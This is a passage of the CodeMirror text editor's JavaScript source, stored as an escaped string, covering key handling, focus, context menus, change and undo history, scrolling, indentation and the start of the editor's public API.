cm, name, e);\n    }\n    return handled;\n  }\n\n  // Handle a key from the keypress event\n  function handleCharBinding(cm, e, ch) {\n    var handled = lookupKey(\"'\" + ch + \"'\", allKeyMaps(cm),\n                            function(b) { return doHandleBinding(cm, b, true); });\n    if (handled) {\n      e_preventDefault(e);\n      restartBlink(cm);\n      signalLater(cm, \"keyHandled\", cm, \"'\" + ch + \"'\", e);\n    }\n    return handled;\n  }\n\n  var lastStoppedKey = null;\n  function onKeyDown(e) {\n    var cm = this;\n    ensureFocus(cm);\n    if (signalDOMEvent(cm, e)) return;\n    // IE does strange things with escape.\n    if (ie && ie_version < 11 && e.keyCode == 27) e.returnValue = false;\n    var code = e.keyCode;\n    cm.display.shift = code == 16 || e.shiftKey;\n    var handled = handleKeyBinding(cm, e);\n    if (presto) {\n      lastStoppedKey = handled ? code : null;\n      // Opera has no cut event... we try to at least catch the key combo\n      if (!handled && code == 88 && !hasCopyEvent && (mac ? e.metaKey : e.ctrlKey))\n        cm.replaceSelection(\"\", null, \"cut\");\n    }\n\n    // Turn mouse into crosshair when Alt is held on Mac.\n    if (code == 18 && !/\\bCodeMirror-crosshair\\b/.test(cm.display.lineDiv.className))\n      showCrossHair(cm);\n  }\n\n  function showCrossHair(cm) {\n    var lineDiv = cm.display.lineDiv;\n    addClass(lineDiv, \"CodeMirror-crosshair\");\n\n    function up(e) {\n      if (e.keyCode == 18 || !e.altKey) {\n        rmClass(lineDiv, \"CodeMirror-crosshair\");\n        off(document, \"keyup\", up);\n        off(document, \"mouseover\", up);\n      }\n    }\n    on(document, \"keyup\", up);\n    on(document, \"mouseover\", up);\n  }\n\n  function onKeyUp(e) {\n    if (e.keyCode == 16) this.doc.sel.shift = false;\n    signalDOMEvent(this, e);\n  }\n\n  function onKeyPress(e) {\n    var cm = this;\n    if (signalDOMEvent(cm, e) || e.ctrlKey && !e.altKey || mac && e.metaKey) return;\n    var keyCode = e.keyCode, charCode = e.charCode;\n    if (presto && keyCode == lastStoppedKey) {lastStoppedKey = null; e_preventDefault(e); return;}\n    if (((presto && (!e.which || e.which < 10)) || khtml) && handleKeyBinding(cm, e)) return;\n    var ch = String.fromCharCode(charCode == null ? keyCode : charCode);\n    if (handleCharBinding(cm, e, ch)) return;\n    if (ie && ie_version >= 9) cm.display.inputHasSelection = null;\n    fastPoll(cm);\n  }\n\n  // FOCUS/BLUR EVENTS\n\n  function onFocus(cm) {\n    if (cm.options.readOnly == \"nocursor\") return;\n    if (!cm.state.focused) {\n      signal(cm, \"focus\", cm);\n      cm.state.focused = true;\n      addClass(cm.display.wrapper, \"CodeMirror-focused\");\n      // The prevInput test prevents this from firing when a context\n      // menu is closed (since the resetInput would kill the\n      // select-all detection hack)\n      if (!cm.curOp && cm.display.selForContextMenu != cm.doc.sel) {\n        resetInput(cm);\n        if (webkit) setTimeout(bind(resetInput, cm, true), 0); // Issue #1730\n      }\n    }\n    slowPoll(cm);\n    restartBlink(cm);\n  }\n  function onBlur(cm) {\n    if (cm.state.focused) {\n      signal(cm, \"blur\", cm);\n      cm.state.focused = false;\n      rmClass(cm.display.wrapper, \"CodeMirror-focused\");\n    }\n    clearInterval(cm.display.blinker);\n    setTimeout(function() {if (!cm.state.focused) cm.display.shift = false;}, 150);\n  }\n\n  // CONTEXT MENU HANDLING\n\n  // To make the context menu work, we need to briefly unhide the\n  // textarea (making it as unobtrusive as possible) to let the\n  // right-click take effect on it.\n  function onContextMenu(cm, e) {\n    if (signalDOMEvent(cm, e, \"contextmenu\")) return;\n    var display = cm.display;\n    if (eventInWidget(display, e) || contextMenuInGutter(cm, e)) return;\n\n    var pos = posFromMouse(cm, e), scrollPos = display.scroller.scrollTop;\n    if (!pos || presto) return; // Opera is difficult.\n\n    // Reset the current text selection only if the click is done outside of the selection\n    // and 'resetSelectionOnContextMenu' option is true.\n    var reset = cm.options.resetSelectionOnContextMenu;\n    if (reset && cm.doc.sel.contains(pos) == -1)\n      operation(cm, setSelection)(cm.doc, simpleSelection(pos), sel_dontScroll);\n\n    var oldCSS = display.input.style.cssText;\n    display.inputDiv.style.position = \"absolute\";\n    display.input.style.cssText = \"position: fixed; width: 30px; height: 30px; top: \" + (e.clientY - 5) +\n      \"px; left: \" + (e.clientX - 5) + \"px; z-index: 1000; background: \" +\n      (ie ? \"rgba(255, 255, 255, .05)\" : \"transparent\") +\n      \"; outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);\";\n    if (webkit) var oldScrollY = window.scrollY; // Work around Chrome issue (#2712)\n    focusInput(cm);\n    if (webkit) window.scrollTo(null, oldScrollY);\n    resetInput(cm);\n    // Adds \"Select all\" to context menu in FF\n    if (!cm.somethingSelected()) display.input.value = display.prevInput = \" \";\n    display.selForContextMenu = cm.doc.sel;\n    clearTimeout(display.detectingSelectAll);\n\n    // Select-all will be greyed out if there's nothing to select, so\n    // this adds a zero-width space so that we can later check whether\n    // it got selected.\n    function prepareSelectAllHack() {\n      if (display.input.selectionStart != null) {\n        var selected = cm.somethingSelected();\n        var extval = display.input.value = \"\\u200b\" + (selected ? display.input.value : \"\");\n        display.prevInput = selected ? \"\" : \"\\u200b\";\n        display.input.selectionStart = 1; display.input.selectionEnd = extval.length;\n        // Re-set this, in case some other handler touched the\n        // selection in the meantime.\n        display.selForContextMenu = cm.doc.sel;\n      }\n    }\n    function rehide() {\n      display.inputDiv.style.position = \"relative\";\n      display.input.style.cssText = oldCSS;\n      if (ie && ie_version < 9) display.scrollbarV.scrollTop = display.scroller.scrollTop = scrollPos;\n      slowPoll(cm);\n\n      // Try to detect the user choosing select-all\n      if (display.input.selectionStart != null) {\n        if (!ie || (ie && ie_version < 9)) prepareSelectAllHack();\n        var i = 0, poll = function() {\n          if (display.selForContextMenu == cm.doc.sel && display.input.selectionStart == 0)\n            operation(cm, commands.selectAll)(cm);\n          else if (i++ < 10) display.detectingSelectAll = setTimeout(poll, 500);\n          else resetInput(cm);\n        };\n        display.detectingSelectAll = setTimeout(poll, 200);\n      }\n    }\n\n    if (ie && ie_version >= 9) prepareSelectAllHack();\n    if (captureRightClick) {\n      e_stop(e);\n      var mouseup = function() {\n        off(window, \"mouseup\", mouseup);\n        setTimeout(rehide, 20);\n      };\n      on(window, \"mouseup\", mouseup);\n    } else {\n      setTimeout(rehide, 50);\n    }\n  }\n\n  function contextMenuInGutter(cm, e) {\n    if (!hasHandler(cm, \"gutterContextMenu\")) return false;\n    return gutterEvent(cm, e, \"gutterContextMenu\", false, signal);\n  }\n\n  // UPDATING\n\n  // Compute the position of the end of a change (its 'to' property\n  // refers to the pre-change end).\n  var changeEnd = CodeMirror.changeEnd = function(change) {\n    if (!change.text) return change.to;\n    return Pos(change.from.line + change.text.length - 1,\n               lst(change.text).length + (change.text.length == 1 ? change.from.ch : 0));\n  };\n\n  // Adjust a position to refer to the post-change position of the\n  // same text, or the end of the change if the change covers it.\n  function adjustForChange(pos, change) {\n    if (cmp(pos, change.from) < 0) return pos;\n    if (cmp(pos, change.to) <= 0) return changeEnd(change);\n\n    var line = pos.line + change.text.length - (change.to.line - change.from.line) - 1, ch = pos.ch;\n    if (pos.line == change.to.line) ch += changeEnd(change).ch - change.to.ch;\n    return Pos(line, ch);\n  }\n\n  function computeSelAfterChange(doc, change) {\n    var out = [];\n    for (var i = 0; i < doc.sel.ranges.length; i++) {\n      var range = doc.sel.ranges[i];\n      out.push(new Range(adjustForChange(range.anchor, change),\n                         adjustForChange(range.head, change)));\n    }\n    return normalizeSelection(out, doc.sel.primIndex);\n  }\n\n  function offsetPos(pos, old, nw) {\n    if (pos.line == old.line)\n      return Pos(nw.line, pos.ch - old.ch + nw.ch);\n    else\n      return Pos(nw.line + (pos.line - old.line), pos.ch);\n  }\n\n  // Used by replaceSelections to allow moving the selection to the\n  // start or around the replaced test. Hint may be \"start\" or \"around\".\n  function computeReplacedSel(doc, changes, hint) {\n    var out = [];\n    var oldPrev = Pos(doc.first, 0), newPrev = oldPrev;\n    for (var i = 0; i < changes.length; i++) {\n      var change = changes[i];\n      var from = offsetPos(change.from, oldPrev, newPrev);\n      var to = offsetPos(changeEnd(change), oldPrev, newPrev);\n      oldPrev = change.to;\n      newPrev = to;\n      if (hint == \"around\") {\n        var range = doc.sel.ranges[i], inv = cmp(range.head, range.anchor) < 0;\n        out[i] = new Range(inv ? to : from, inv ? from : to);\n      } else {\n        out[i] = new Range(from, from);\n      }\n    }\n    return new Selection(out, doc.sel.primIndex);\n  }\n\n  // Allow \"beforeChange\" event handlers to influence a change\n  function filterChange(doc, change, update) {\n    var obj = {\n      canceled: false,\n      from: change.from,\n      to: change.to,\n      text: change.text,\n      origin: change.origin,\n      cancel: function() { this.canceled = true; }\n    };\n    if (update) obj.update = function(from, to, text, origin) {\n      if (from) this.from = clipPos(doc, from);\n      if (to) this.to = clipPos(doc, to);\n      if (text) this.text = text;\n      if (origin !== undefined) this.origin = origin;\n    };\n    signal(doc, \"beforeChange\", doc, obj);\n    if (doc.cm) signal(doc.cm, \"beforeChange\", doc.cm, obj);\n\n    if (obj.canceled) return null;\n    return {from: obj.from, to: obj.to, text: obj.text, origin: obj.origin};\n  }\n\n  // Apply a change to a document, and add it to the document's\n  // history, and propagating it to all linked documents.\n  function makeChange(doc, change, ignoreReadOnly) {\n    if (doc.cm) {\n      if (!doc.cm.curOp) return operation(doc.cm, makeChange)(doc, change, ignoreReadOnly);\n      if (doc.cm.state.suppressEdits) return;\n    }\n\n    if (hasHandler(doc, \"beforeChange\") || doc.cm && hasHandler(doc.cm, \"beforeChange\")) {\n      change = filterChange(doc, change, true);\n      if (!change) return;\n    }\n\n    // Possibly split or suppress the update based on the presence\n    // of read-only spans in its range.\n    var split = sawReadOnlySpans && !ignoreReadOnly && removeReadOnlyRanges(doc, change.from, change.to);\n    if (split) {\n      for (var i = split.length - 1; i >= 0; --i)\n        makeChangeInner(doc, {from: split[i].from, to: split[i].to, text: i ? [\"\"] : change.text});\n    } else {\n      makeChangeInner(doc, change);\n    }\n  }\n\n  function makeChangeInner(doc, change) {\n    if (change.text.length == 1 && change.text[0] == \"\" && cmp(change.from, change.to) == 0) return;\n    var selAfter = computeSelAfterChange(doc, change);\n    addChangeToHistory(doc, change, selAfter, doc.cm ? doc.cm.curOp.id : NaN);\n\n    makeChangeSingleDoc(doc, change, selAfter, stretchSpansOverChange(doc, change));\n    var rebased = [];\n\n    linkedDocs(doc, function(doc, sharedHist) {\n      if (!sharedHist && indexOf(rebased, doc.history) == -1) {\n        rebaseHist(doc.history, change);\n        rebased.push(doc.history);\n      }\n      makeChangeSingleDoc(doc, change, null, stretchSpansOverChange(doc, change));\n    });\n  }\n\n  // Revert a change stored in a document's history.\n  function makeChangeFromHistory(doc, type, allowSelectionOnly) {\n    if (doc.cm && doc.cm.state.suppressEdits) return;\n\n    var hist = doc.history, event, selAfter = doc.sel;\n    var source = type == \"undo\" ? hist.done : hist.undone, dest = type == \"undo\" ? hist.undone : hist.done;\n\n    // Verify that there is a useable event (so that ctrl-z won't\n    // needlessly clear selection events)\n    for (var i = 0; i < source.length; i++) {\n      event = source[i];\n      if (allowSelectionOnly ? event.ranges && !event.equals(doc.sel) : !event.ranges)\n        break;\n    }\n    if (i == source.length) return;\n    hist.lastOrigin = hist.lastSelOrigin = null;\n\n    for (;;) {\n      event = source.pop();\n      if (event.ranges) {\n        pushSelectionToHistory(event, dest);\n        if (allowSelectionOnly && !event.equals(doc.sel)) {\n          setSelection(doc, event, {clearRedo: false});\n          return;\n        }\n        selAfter = event;\n      }\n      else break;\n    }\n\n    // Build up a reverse change object to add to the opposite history\n    // stack (redo when undoing, and vice versa).\n    var antiChanges = [];\n    pushSelectionToHistory(selAfter, dest);\n    dest.push({changes: antiChanges, generation: hist.generation});\n    hist.generation = event.generation || ++hist.maxGeneration;\n\n    var filter = hasHandler(doc, \"beforeChange\") || doc.cm && hasHandler(doc.cm, \"beforeChange\");\n\n    for (var i = event.changes.length - 1; i >= 0; --i) {\n      var change = event.changes[i];\n      change.origin = type;\n      if (filter && !filterChange(doc, change, false)) {\n        source.length = 0;\n        return;\n      }\n\n      antiChanges.push(historyChangeFromChange(doc, change));\n\n      var after = i ? computeSelAfterChange(doc, change) : lst(source);\n      makeChangeSingleDoc(doc, change, after, mergeOldSpans(doc, change));\n      if (!i && doc.cm) doc.cm.scrollIntoView({from: change.from, to: changeEnd(change)});\n      var rebased = [];\n\n      // Propagate to the linked documents\n      linkedDocs(doc, function(doc, sharedHist) {\n        if (!sharedHist && indexOf(rebased, doc.history) == -1) {\n          rebaseHist(doc.history, change);\n          rebased.push(doc.history);\n        }\n        makeChangeSingleDoc(doc, change, null, mergeOldSpans(doc, change));\n      });\n    }\n  }\n\n  // Sub-views need their line numbers shifted when text is added\n  // above or below them in the parent document.\n  function shiftDoc(doc, distance) {\n    if (distance == 0) return;\n    doc.first += distance;\n    doc.sel = new Selection(map(doc.sel.ranges, function(range) {\n      return new Range(Pos(range.anchor.line + distance, range.anchor.ch),\n                       Pos(range.head.line + distance, range.head.ch));\n    }), doc.sel.primIndex);\n    if (doc.cm) {\n      regChange(doc.cm, doc.first, doc.first - distance, distance);\n      for (var d = doc.cm.display, l = d.viewFrom; l < d.viewTo; l++)\n        regLineChange(doc.cm, l, \"gutter\");\n    }\n  }\n\n  // More lower-level change function, handling only a single document\n  // (not linked ones).\n  function makeChangeSingleDoc(doc, change, selAfter, spans) {\n    if (doc.cm && !doc.cm.curOp)\n      return operation(doc.cm, makeChangeSingleDoc)(doc, change, selAfter, spans);\n\n    if (change.to.line < doc.first) {\n      shiftDoc(doc, change.text.length - 1 - (change.to.line - change.from.line));\n      return;\n    }\n    if (change.from.line > doc.lastLine()) return;\n\n    // Clip the change to the size of this doc\n    if (change.from.line < doc.first) {\n      var shift = change.text.length - 1 - (doc.first - change.from.line);\n      shiftDoc(doc, shift);\n      change = {from: Pos(doc.first, 0), to: Pos(change.to.line + shift, change.to.ch),\n                text: [lst(change.text)], origin: change.origin};\n    }\n    var last = doc.lastLine();\n    if (change.to.line > last) {\n      change = {from: change.from, to: Pos(last, getLine(doc, last).text.length),\n                text: [change.text[0]], origin: change.origin};\n    }\n\n    change.removed = getBetween(doc, change.from, change.to);\n\n    if (!selAfter) selAfter = computeSelAfterChange(doc, change);\n    if (doc.cm) makeChangeSingleDocInEditor(doc.cm, change, spans);\n    else updateDoc(doc, change, spans);\n    setSelectionNoUndo(doc, selAfter, sel_dontScroll);\n  }\n\n  // Handle the interaction of a change to a document with the editor\n  // that this document is part of.\n  function makeChangeSingleDocInEditor(cm, change, spans) {\n    var doc = cm.doc, display = cm.display, from = change.from, to = change.to;\n\n    var recomputeMaxLength = false, checkWidthStart = from.line;\n    if (!cm.options.lineWrapping) {\n      checkWidthStart = lineNo(visualLine(getLine(doc, from.line)));\n      doc.iter(checkWidthStart, to.line + 1, function(line) {\n        if (line == display.maxLine) {\n          recomputeMaxLength = true;\n          return true;\n        }\n      });\n    }\n\n    if (doc.sel.contains(change.from, change.to) > -1)\n      signalCursorActivity(cm);\n\n    updateDoc(doc, change, spans, estimateHeight(cm));\n\n    if (!cm.options.lineWrapping) {\n      doc.iter(checkWidthStart, from.line + change.text.length, function(line) {\n        var len = lineLength(line);\n        if (len > display.maxLineLength) {\n          display.maxLine = line;\n          display.maxLineLength = len;\n          display.maxLineChanged = true;\n          recomputeMaxLength = false;\n        }\n      });\n      if (recomputeMaxLength) cm.curOp.updateMaxLine = true;\n    }\n\n    // Adjust frontier, schedule worker\n    doc.frontier = Math.min(doc.frontier, from.line);\n    startWorker(cm, 400);\n\n    var lendiff = change.text.length - (to.line - from.line) - 1;\n    // Remember that these lines changed, for updating the display\n    if (from.line == to.line && change.text.length == 1 && !isWholeLineUpdate(cm.doc, change))\n      regLineChange(cm, from.line, \"text\");\n    else\n      regChange(cm, from.line, to.line + 1, lendiff);\n\n    var changesHandler = hasHandler(cm, \"changes\"), changeHandler = hasHandler(cm, \"change\");\n    if (changeHandler || changesHandler) {\n      var obj = {\n        from: from, to: to,\n        text: change.text,\n        removed: change.removed,\n        origin: change.origin\n      };\n      if (changeHandler) signalLater(cm, \"change\", cm, obj);\n      if (changesHandler) (cm.curOp.changeObjs || (cm.curOp.changeObjs = [])).push(obj);\n    }\n    cm.display.selForContextMenu = null;\n  }\n\n  function replaceRange(doc, code, from, to, origin) {\n    if (!to) to = from;\n    if (cmp(to, from) < 0) { var tmp = to; to = from; from = tmp; }\n    if (typeof code == \"string\") code = splitLines(code);\n    makeChange(doc, {from: from, to: to, text: code, origin: origin});\n  }\n\n  // SCROLLING THINGS INTO VIEW\n\n  // If an editor sits on the top or bottom of the window, partially\n  // scrolled out of view, this ensures that the cursor is visible.\n  function maybeScrollWindow(cm, coords) {\n    var display = cm.display, box = display.sizer.getBoundingClientRect(), doScroll = null;\n    if (coords.top + box.top < 0) doScroll = true;\n    else if (coords.bottom + box.top > (window.innerHeight || document.documentElement.clientHeight)) doScroll = false;\n    if (doScroll != null && !phantom) {\n      var scrollNode = elt(\"div\", \"\\u200b\", null, \"position: absolute; top: \" +\n                           (coords.top - display.viewOffset - paddingTop(cm.display)) + \"px; height: \" +\n                           (coords.bottom - coords.top + scrollerCutOff) + \"px; left: \" +\n                           coords.left + \"px; width: 2px;\");\n      cm.display.lineSpace.appendChild(scrollNode);\n      scrollNode.scrollIntoView(doScroll);\n      cm.display.lineSpace.removeChild(scrollNode);\n    }\n  }\n\n  // Scroll a given position into view (immediately), verifying that\n  // it actually became visible (as line heights are accurately\n  // measured, the position of something may 'drift' during drawing).\n  function scrollPosIntoView(cm, pos, end, margin) {\n    if (margin == null) margin = 0;\n    for (;;) {\n      var changed = false, coords = cursorCoords(cm, pos);\n      var endCoords = !end || end == pos ? coords : cursorCoords(cm, end);\n      var scrollPos = calculateScrollPos(cm, Math.min(coords.left, endCoords.left),\n                                         Math.min(coords.top, endCoords.top) - margin,\n                                         Math.max(coords.left, endCoords.left),\n                                         Math.max(coords.bottom, endCoords.bottom) + margin);\n      var startTop = cm.doc.scrollTop, startLeft = cm.doc.scrollLeft;\n      if (scrollPos.scrollTop != null) {\n        setScrollTop(cm, scrollPos.scrollTop);\n        if (Math.abs(cm.doc.scrollTop - startTop) > 1) changed = true;\n      }\n      if (scrollPos.scrollLeft != null) {\n        setScrollLeft(cm, scrollPos.scrollLeft);\n        if (Math.abs(cm.doc.scrollLeft - startLeft) > 1) changed = true;\n      }\n      if (!changed) return coords;\n    }\n  }\n\n  // Scroll a given set of coordinates into view (immediately).\n  function scrollIntoView(cm, x1, y1, x2, y2) {\n    var scrollPos = calculateScrollPos(cm, x1, y1, x2, y2);\n    if (scrollPos.scrollTop != null) setScrollTop(cm, scrollPos.scrollTop);\n    if (scrollPos.scrollLeft != null) setScrollLeft(cm, scrollPos.scrollLeft);\n  }\n\n  // Calculate a new scroll position needed to scroll the given\n  // rectangle into view. Returns an object with scrollTop and\n  // scrollLeft properties. When these are undefined, the\n  // vertical/horizontal position does not need to be adjusted.\n  function calculateScrollPos(cm, x1, y1, x2, y2) {\n    var display = cm.display, snapMargin = textHeight(cm.display);\n    if (y1 < 0) y1 = 0;\n    var screentop = cm.curOp && cm.curOp.scrollTop != null ? cm.curOp.scrollTop : display.scroller.scrollTop;\n    var screen = display.scroller.clientHeight - scrollerCutOff, result = {};\n    if (y2 - y1 > screen) y2 = y1 + screen;\n    var docBottom = cm.doc.height + paddingVert(display);\n    var atTop = y1 < snapMargin, atBottom = y2 > docBottom - snapMargin;\n    if (y1 < screentop) {\n      result.scrollTop = atTop ? 0 : y1;\n    } else if (y2 > screentop + screen) {\n      var newTop = Math.min(y1, (atBottom ? docBottom : y2) - screen);\n      if (newTop != screentop) result.scrollTop = newTop;\n    }\n\n    var screenleft = cm.curOp && cm.curOp.scrollLeft != null ? cm.curOp.scrollLeft : display.scroller.scrollLeft;\n    var screenw = display.scroller.clientWidth - scrollerCutOff - display.gutters.offsetWidth;\n    var tooWide = x2 - x1 > screenw;\n    if (tooWide) x2 = y1 + screen;\n    if (x1 < 10)\n      result.scrollLeft = 0;\n    else if (x1 < screenleft)\n      result.scrollLeft = Math.max(0, x1 - (tooWide ? 0 : 10));\n    else if (x2 > screenw + screenleft - 3)\n      result.scrollLeft = x2 + (tooWide ? 0 : 10) - screenw;\n\n    return result;\n  }\n\n  // Store a relative adjustment to the scroll position in the current\n  // operation (to be applied when the operation finishes).\n  function addToScrollPos(cm, left, top) {\n    if (left != null || top != null) resolveScrollToPos(cm);\n    if (left != null)\n      cm.curOp.scrollLeft = (cm.curOp.scrollLeft == null ? cm.doc.scrollLeft : cm.curOp.scrollLeft) + left;\n    if (top != null)\n      cm.curOp.scrollTop = (cm.curOp.scrollTop == null ? cm.doc.scrollTop : cm.curOp.scrollTop) + top;\n  }\n\n  // Make sure that at the end of the operation the current cursor is\n  // shown.\n  function ensureCursorVisible(cm) {\n    resolveScrollToPos(cm);\n    var cur = cm.getCursor(), from = cur, to = cur;\n    if (!cm.options.lineWrapping) {\n      from = cur.ch ? Pos(cur.line, cur.ch - 1) : cur;\n      to = Pos(cur.line, cur.ch + 1);\n    }\n    cm.curOp.scrollToPos = {from: from, to: to, margin: cm.options.cursorScrollMargin, isCursor: true};\n  }\n\n  // When an operation has its scrollToPos property set, and another\n  // scroll action is applied before the end of the operation, this\n  // 'simulates' scrolling that position into view in a cheap way, so\n  // that the effect of intermediate scroll commands is not ignored.\n  function resolveScrollToPos(cm) {\n    var range = cm.curOp.scrollToPos;\n    if (range) {\n      cm.curOp.scrollToPos = null;\n      var from = estimateCoords(cm, range.from), to = estimateCoords(cm, range.to);\n      var sPos = calculateScrollPos(cm, Math.min(from.left, to.left),\n                                    Math.min(from.top, to.top) - range.margin,\n                                    Math.max(from.right, to.right),\n                                    Math.max(from.bottom, to.bottom) + range.margin);\n      cm.scrollTo(sPos.scrollLeft, sPos.scrollTop);\n    }\n  }\n\n  // API UTILITIES\n\n  // Indent the given line. The how parameter can be \"smart\",\n  // \"add\"/null, \"subtract\", or \"prev\". When aggressive is false\n  // (typically set to true for forced single-line indents), empty\n  // lines are not indented, and places where the mode returns Pass\n  // are left alone.\n  function indentLine(cm, n, how, aggressive) {\n    var doc = cm.doc, state;\n    if (how == null) how = \"add\";\n    if (how == \"smart\") {\n      // Fall back to \"prev\" when the mode doesn't have an indentation\n      // method.\n      if (!doc.mode.indent) how = \"prev\";\n      else state = getStateBefore(cm, n);\n    }\n\n    var tabSize = cm.options.tabSize;\n    var line = getLine(doc, n), curSpace = countColumn(line.text, null, tabSize);\n    if (line.stateAfter) line.stateAfter = null;\n    var curSpaceString = line.text.match(/^\\s*/)[0], indentation;\n    if (!aggressive && !/\\S/.test(line.text)) {\n      indentation = 0;\n      how = \"not\";\n    } else if (how == \"smart\") {\n      indentation = doc.mode.indent(state, line.text.slice(curSpaceString.length), line.text);\n      if (indentation == Pass || indentation > 150) {\n        if (!aggressive) return;\n        how = \"prev\";\n      }\n    }\n    if (how == \"prev\") {\n      if (n > doc.first) indentation = countColumn(getLine(doc, n-1).text, null, tabSize);\n      else indentation = 0;\n    } else if (how == \"add\") {\n      indentation = curSpace + cm.options.indentUnit;\n    } else if (how == \"subtract\") {\n      indentation = curSpace - cm.options.indentUnit;\n    } else if (typeof how == \"number\") {\n      indentation = curSpace + how;\n    }\n    indentation = Math.max(0, indentation);\n\n    var indentString = \"\", pos = 0;\n    if (cm.options.indentWithTabs)\n      for (var i = Math.floor(indentation / tabSize); i; --i) {pos += tabSize; indentString += \"\\t\";}\n    if (pos < indentation) indentString += spaceStr(indentation - pos);\n\n    if (indentString != curSpaceString) {\n      replaceRange(doc, indentString, Pos(n, 0), Pos(n, curSpaceString.length), \"+input\");\n    } else {\n      // Ensure that, if the cursor was in the whitespace at the start\n      // of the line, it is moved to the end of that space.\n      for (var i = 0; i < doc.sel.ranges.length; i++) {\n        var range = doc.sel.ranges[i];\n        if (range.head.line == n && range.head.ch < curSpaceString.length) {\n          var pos = Pos(n, curSpaceString.length);\n          replaceOneSelection(doc, i, new Range(pos, pos));\n          break;\n        }\n      }\n    }\n    line.stateAfter = null;\n  }\n\n  // Utility for applying a change to a line by handle or number,\n  // returning the number and optionally registering the line as\n  // changed.\n  function changeLine(doc, handle, changeType, op) {\n    var no = handle, line = handle;\n    if (typeof handle == \"number\") line = getLine(doc, clipLine(doc, handle));\n    else no = lineNo(handle);\n    if (no == null) return null;\n    if (op(line, no) && doc.cm) regLineChange(doc.cm, no, changeType);\n    return line;\n  }\n\n  // Helper for deleting text near the selection(s), used to implement\n  // backspace, delete, and similar functionality.\n  function deleteNearSelection(cm, compute) {\n    var ranges = cm.doc.sel.ranges, kill = [];\n    // Build up a set of ranges to kill first, merging overlapping\n    // ranges.\n    for (var i = 0; i < ranges.length; i++) {\n      var toKill = compute(ranges[i]);\n      while (kill.length && cmp(toKill.from, lst(kill).to) <= 0) {\n        var replaced = kill.pop();\n        if (cmp(replaced.from, toKill.from) < 0) {\n          toKill.from = replaced.from;\n          break;\n        }\n      }\n      kill.push(toKill);\n    }\n    // Next, remove those actual ranges.\n    runInOp(cm, function() {\n      for (var i = kill.length - 1; i >= 0; i--)\n        replaceRange(cm.doc, \"\", kill[i].from, kill[i].to, \"+delete\");\n      ensureCursorVisible(cm);\n    });\n  }\n\n  // Used for horizontal relative motion. Dir is -1 or 1 (left or\n  // right), unit can be \"char\", \"column\" (like char, but doesn't\n  // cross line boundaries), \"word\" (across next word), or \"group\" (to\n  // the start of next group of word or non-word-non-whitespace\n  // chars). The visually param controls whether, in right-to-left\n  // text, direction 1 means to move towards the next index in the\n  // string, or towards the character to the right of the current\n  // position. The resulting position will have a hitSide=true\n  // property if it reached the end of the document.\n  function findPosH(doc, pos, dir, unit, visually) {\n    var line = pos.line, ch = pos.ch, origDir = dir;\n    var lineObj = getLine(doc, line);\n    var possible = true;\n    function findNextLine() {\n      var l = line + dir;\n      if (l < doc.first || l >= doc.first + doc.size) return (possible = false);\n      line = l;\n      return lineObj = getLine(doc, l);\n    }\n    function moveOnce(boundToLine) {\n      var next = (visually ? moveVisually : moveLogically)(lineObj, ch, dir, true);\n      if (next == null) {\n        if (!boundToLine && findNextLine()) {\n          if (visually) ch = (dir < 0 ? lineRight : lineLeft)(lineObj);\n          else ch = dir < 0 ? lineObj.text.length : 0;\n        } else return (possible = false);\n      } else ch = next;\n      return true;\n    }\n\n    if (unit == \"char\") moveOnce();\n    else if (unit == \"column\") moveOnce(true);\n    else if (unit == \"word\" || unit == \"group\") {\n      var sawType = null, group = unit == \"group\";\n      var helper = doc.cm && doc.cm.getHelper(pos, \"wordChars\");\n      for (var first = true;; first = false) {\n        if (dir < 0 && !moveOnce(!first)) break;\n        var cur = lineObj.text.charAt(ch) || \"\\n\";\n        var type = isWordChar(cur, helper) ? \"w\"\n          : group && cur == \"\\n\" ? \"n\"\n          : !group || /\\s/.test(cur) ? null\n          : \"p\";\n        if (group && !first && !type) type = \"s\";\n        if (sawType && sawType != type) {\n          if (dir < 0) {dir = 1; moveOnce();}\n          break;\n        }\n\n        if (type) sawType = type;\n        if (dir > 0 && !moveOnce(!first)) break;\n      }\n    }\n    var result = skipAtomic(doc, Pos(line, ch), origDir, true);\n    if (!possible) result.hitSide = true;\n    return result;\n  }\n\n  // For relative vertical movement. Dir may be -1 or 1. Unit can be\n  // \"page\" or \"line\". The resulting position will have a hitSide=true\n  // property if it reached the end of the document.\n  function findPosV(cm, pos, dir, unit) {\n    var doc = cm.doc, x = pos.left, y;\n    if (unit == \"page\") {\n      var pageSize = Math.min(cm.display.wrapper.clientHeight, window.innerHeight || document.documentElement.clientHeight);\n      y = pos.top + dir * (pageSize - (dir < 0 ? 1.5 : .5) * textHeight(cm.display));\n    } else if (unit == \"line\") {\n      y = dir > 0 ? pos.bottom + 3 : pos.top - 3;\n    }\n    for (;;) {\n      var target = coordsChar(cm, x, y);\n      if (!target.outside) break;\n      if (dir < 0 ? y <= 0 : y >= doc.height) { target.hitSide = true; break; }\n      y += dir * 5;\n    }\n    return target;\n  }\n\n  // EDITOR METHODS\n\n  // The publicly visible API. Note that methodOp(f) means\n  // 'wrap f in an operation, performed on its `this` parameter'.\n\n  // This is not the complete set of editor methods. Most of the\n  // methods defined on the Doc type are also injected into\n  // CodeMirror.prototype, for backwards compatibility and\n  // convenience.\n\n  CodeMirror.prototype = {\n    constructor: CodeMirror,\n    focus: function(){window.focus(); focusInput(this); fastPoll(this);},\n\n    setOption: function(option, value) {\n      var options = this.options, old = options[option];\n      if (options[option] == value && option != \"mode\") return;\n      options[option] = value;\n      if (optionHandlers.hasOwnProperty(option))\n        operation(this, optionHandlers[option])(this, value, old);\n    },\n\n    getOption: function(option) {return this.options[option];},\n    getDoc: function() {return this.doc;},\n\n    addKeyMap: function(map, bottom) {\n      this.state.keyMaps[bottom ? \"push\" : \"unshift\"](map);\n    },\n    removeKeyMap: function(map) {\n      var maps = this.state.keyMaps;\n      for (var i = 0; i < maps.length; ++i)\n        if (maps[i] == map || (typeof maps[i] != \"string\" && maps[i].name == map)) {\n          maps.splice(i, 1);\n          return true;\n        }\n    },\n\n    addOverlay: methodOp(function(spec, options) {\n      var mode = spec.token ? spec : CodeMirror.getMode(this.options, spec);\n      if (mode.startState) throw new Error(\"Overlays may not be stateful.\");\n      this.state.overlays.push({mode: mode, modeSpec: spec, opaque: options && options.opaque});\n      this.state.modeGen++;\n      regChange(this);\n    }),\n    removeOverlay: methodOp(function(spec) {\n      var overlays = this.state.overlays;\n      for (var i = 0; i < overlays.length; ++i) {\n        var cur = overlays[i].modeSpec;\n        if (cur == spec || typeof spec == \"string\" && cur.name == spec) {\n          overlays.splice(i, 1);\n          